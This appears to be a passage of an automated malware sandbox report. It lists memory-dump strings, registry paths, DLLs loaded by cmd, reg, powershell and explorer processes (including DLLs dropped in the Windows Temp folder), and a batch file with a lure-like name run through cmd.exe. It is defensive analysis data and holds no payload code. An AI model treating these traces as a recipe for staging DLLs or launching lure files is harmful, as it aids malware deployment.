"SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005572.00000001.159543.32608000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00005572.00000001.159543.32608000.00000002.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005572.00000001.159543.9B790000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005572.00000001.159543.9B7BE000.00000004.mdmp "Path=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\W\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{DDCFD26B-FEED-44CD" in Source: 00000000-00005572.00000001.159543.9B7BE000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005572.00000001.159543.9B7BE000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005572.00000001.159543.9B7BE000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00005572.00000001.159543.B62E5000.00000004.mdmp3b:T4d42,"cmd.exe" loaded module "KERNEL32" at base 7ff96a640000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ff967080000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ff967080000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ff967080000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ff968a00000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff967080000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff967080000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff967080000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff939500000 "cmd.exe" loaded module "NTDLL.DLL" at base 7ff96a9d0000 "cmd.exe" loaded module "KERNEL32.DLL" at base 7ff96a640000 "reg.exe" loaded module "KERNEL32" at base 7ff96a640000 "reg.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ff967080000 "reg.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ff967080000 "reg.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ff967080000 "reg.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ff968a00000 "reg.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff967080000 "reg.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff967080000 "reg.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff967080000 "reg.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff939500000 "reg.exe" loaded module "KERNEL32.DLL" at base 7ff96a640000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff967080000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff967080000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff967080000 "powershell.exe" loaded module "KERNEL32" at base 7ff96a640000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff939500000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ff96a640000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ff9686c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ff948610000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ff968a30000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ff966d40000 "powershell.exe" loaded module "VERSION.DLL" at base 7ff95d880000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ff938a30000 "powershell.exe" loaded module "USER32.DLL" at base 7ff968530000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ff967080000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREE.DLL" at base 0 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ff9545b0000 "powershell.exe" loaded module "NTDLL" at base 7ff96a9d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ff96a200000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ff967ea0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ff937430000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLE32.DLL" at base 0 "powershell.exe" loaded module "OLE32.DLL" at base 7ff9687a0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ff96a200000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ff96a570000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ff9367c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ff935d40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ff952210000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff9661c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff967bf0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ff933cd0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "powershell.exe" loaded module "COMBASE.DLL" at base 7ff96a200000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ff96a200000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "NTDLL.DLL" at base 7ff96a9d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "powershell.exe" loaded module "PSAPI.DLL" at base 7ff9688f0000 "powershell.exe" loaded module "SHELL32.DLL" at base 7ff968ba0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WINTRUST.DLL" at base 0 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ff967c70000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ff967c70000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ff967cd0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\AMSI.DLL" at base 0 "powershell.exe" loaded module "AMSI.DLL" at base 7ff95fb20000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff95d880000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ff95fb00000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ff967cd0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\0HXFAI97.DLL" at base 7ff9533f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ff952170000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ff952000000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ff940a20000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ff933420000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ff9408e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ff953390000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ff932ab0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ff932740000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ff967080000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ff940790000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ff940720000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ff932660000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ff94b7a0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "SECUR32.DLL" at base 7ff95d570000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ff966c20000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WLDP.DLL" at base 0 "powershell.exe" loaded module "WLDP.DLL" at base 7ff965e10000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff965360000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ff932580000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ff96a640000 "powershell.exe" loaded module "USERENV.DLL" at base 7ff966c50000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ff9686c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ff96a200000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ff931870000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ff953360000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ff966880000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ff953390000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\0HXFAI97.DLL" at base 7ff952270000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ff9521d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ff952060000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ff952000000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\DIASYMREADER.DLL" at base 7ff932410000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ff931700000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ff9314c0000 "powershell.exe" loaded module "ADVAPI32" at base 7ff9686c0000 "explorer.exe" loaded module "SHELL32.DLL" at base 7ff968ba0000 "explorer.exe" loaded module "%WINDIR%\TEMP\VXSSL64.DLL" at base 7ff95f440000 "explorer.exe" loaded module "MSCOREE.DLL" at base 7ff9545b0000 "explorer.exe" loaded module "AMSI.DLL" at base 7ff95fb20000 "explorer.exe" loaded module "ADVAPI32.DLL" at base 7ff9686c0000 "explorer.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff967080000 "explorer.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff967080000 "explorer.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff967080000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ff948610000 "explorer.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ff966d40000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ff938a30000 "explorer.exe" loaded module "USER32.DLL" at base 7ff968530000 "explorer.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ff967080000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREE.DLL" at base 0 "explorer.exe" loaded module "SHLWAPI.DLL" at base 7ff968a30000 "explorer.exe" loaded module "NTDLL" at base 7ff96a9d0000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ff96a200000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ff937430000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLE32.DLL" at base 0 "explorer.exe" loaded module "OLE32.DLL" at base 7ff9687a0000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "explorer.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ff96a200000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLEAUT32.DLL" at base 0 "explorer.exe" loaded module "OLEAUT32.DLL" at base 7ff96a570000 "explorer.exe" loaded module "WLDP.DLL" at base 7ff965e10000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff95d880000 "explorer.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ff95fb00000 "explorer.exe" loaded module "KERNEL32" at base 7ff96a640000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\0HXFAI97.DLL" at base 7ff952270000 "explorer.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ff967080000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ff940790000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ff9367c0000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DRAWING\ECE80F2E3752A779E894FD45D8F27E64\SYSTEM.DRAWING.NI.DLL" at base 7ff9312c0000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.WINDOWS.FORMS\B138F79DEA860272EBE6694D9B73F656\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 7ff930210000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ff935d40000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.V9921E851#\FB4BA4DB52CA77687F807BB068871EC2\MICROSOFT.VISUALBASIC.NI.DLL" at base 7ff92ffe0000 "explorer.exe" loaded module "KERNEL32.DLL" at base 7ff96a640000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "explorer.exe" loaded module "NTDLL.DLL" at base 7ff96a9d0000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ff955650000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ff935490000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "explorer.exe" loaded module "BCRYPT.DLL" at base 7ff966880000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff9661c0000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\RASAPI32.DLL" at base 0 "explorer.exe" loaded module "RASAPI32.DLL" at base 7ff95a790000 "explorer.exe" loaded module "RASMAN.DLL" at base 7ff95a6e0000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "explorer.exe" loaded module "WS2_32.DLL" at base 7ff9684c0000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ff9665b0000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WINHTTP.DLL" at base 0 "explorer.exe" loaded module "WINHTTP.DLL" at base 7ff9632e0000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ff949530000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "explorer.exe" loaded module "PSAPI.DLL" at base 7ff9688f0000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\IPHLPAPI.DLL" at base 0 "explorer.exe" loaded module "IPHLPAPI.DLL" at base 7ff966340000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ff95e930000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ff95efe0000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "explorer.exe" loaded module "SECUR32.DLL" at base 7ff95d570000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ff966100000 "explorer.exe" loaded module "SSPICLI.DLL" at base 7ff966c20000 "explorer.exe" loaded module "MSKEYPROTECT.DLL" at base 7ff958db0000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7ff958dd0000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "explorer.exe" loaded module "CRYPT32.DLL" at base 7ff967cd0000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CRYPT32.DLL" at base 0 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\VERSION.DLL" at base 0 "explorer.exe" loaded module "VERSION.DLL" at base 7ff95d880000 "explorer.exe" loaded module "OLEAUT32" at base 7ff96a570000 "explorer.exe" loaded module "GDI32.DLL" at base 7ff96a970000 "explorer.exe" loaded module "USER32" at base 7ff9685300003c:Tb6a,Found string "powershell_ise.exe" (Indicator: "powershell_ise.exe"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Join-Path" (Indicator: "Join-Path"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Always resolve file paths using Resolve-Path -Relative." (Indicator: "Resolve-Path"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet.ater than $ConfirmPreference. If $ConfirmPreference is None, actions will only be confirmed when Confirm is specified." (Indicator: "Send-MailMessage"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Variable to hold all default pairse used instead of the HostName parameter in the Send-MailMessage cmd" (Indicator: "Send-MailMessage"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet." (Indicator: "Send-MailMessage"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Resolve-Path" (Indicator: "Resolve-Path"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Write-Output" (Indicator: "Write-Output"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Show-Command" (Indicator: "Show-Command"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Trace-Command" (Indicator: "Trace-Command"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Pop-Location" (Indicator: "Pop-Location"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Push-Location" (Indicator: "Push-Location"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Select-String" (Indicator: "Select-String"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Test-ModuleManifest" (Indicator: "Test-ModuleManifest"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Enter-PSHostProcess" (Indicator: "Enter-PSHostProcess"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Exit-PSHostProcess" (Indicator: "Exit-PSHostProcess"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "Save-Help" (Indicator: "Save-Help"; Source: "00000000-00004500.00000000.157721.49F20000.00000004.mdmp") Found string "if(Test-Path -LiteralPath $filePath -PathType Container)" (Indicator: "Test-Path"; Source: "00000000-00005572.00000000.158218.B5BE0000.00000004.mdmp, 00000000-00005572.00000001.159543.B5C8D000.00000004.mdmp")3d:T47d,Observed system executable string:"%WINDIR%\System32\cmd.exe" [Source: 00000000-00003104-00000BC0-1423611066] Observed system executable string:"%WINDIR%\system32\cmd.exe" [Source: 00000000-00003104-00000C47-2255159554] Observed system executable string:"%WINDIR%\system32\cmd.exe /K "C:\Inquiry46250BSTMA240-TP316L.bat"" [Source: 00000000-00003104-00000C47-2255159554] Observed system executable string:"%WINDIR%\System32\attrib.exe" [Source: 